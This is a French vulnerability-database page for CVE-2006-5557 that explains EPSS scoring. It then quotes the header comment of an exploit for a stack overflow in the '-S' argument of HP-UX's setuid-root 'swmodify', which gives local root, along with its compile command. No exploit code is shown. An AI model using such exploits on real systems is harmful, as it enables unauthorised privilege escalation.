CVE-2006-5557 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* HP-UX swmodify buffer overflow exploit * ======================================= * HP-UX 'swmodify' contains an exploitable stack overflow * in the handling of command line arguements. Specifically the * problem occurs due to insufficent bounds checking in the "-S" * optional arguement. 'swmodify' is installed setuid root by * default in HP-UX and allows for local root compromise when * exploiting this issue. * * Example. * $ cc prdelka-vs-HPUX-swmodify.c -o prdelka-vs-HPUX-swmodify * /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file * (prdelka-vs-HPUX-swmodify.o) was detected.
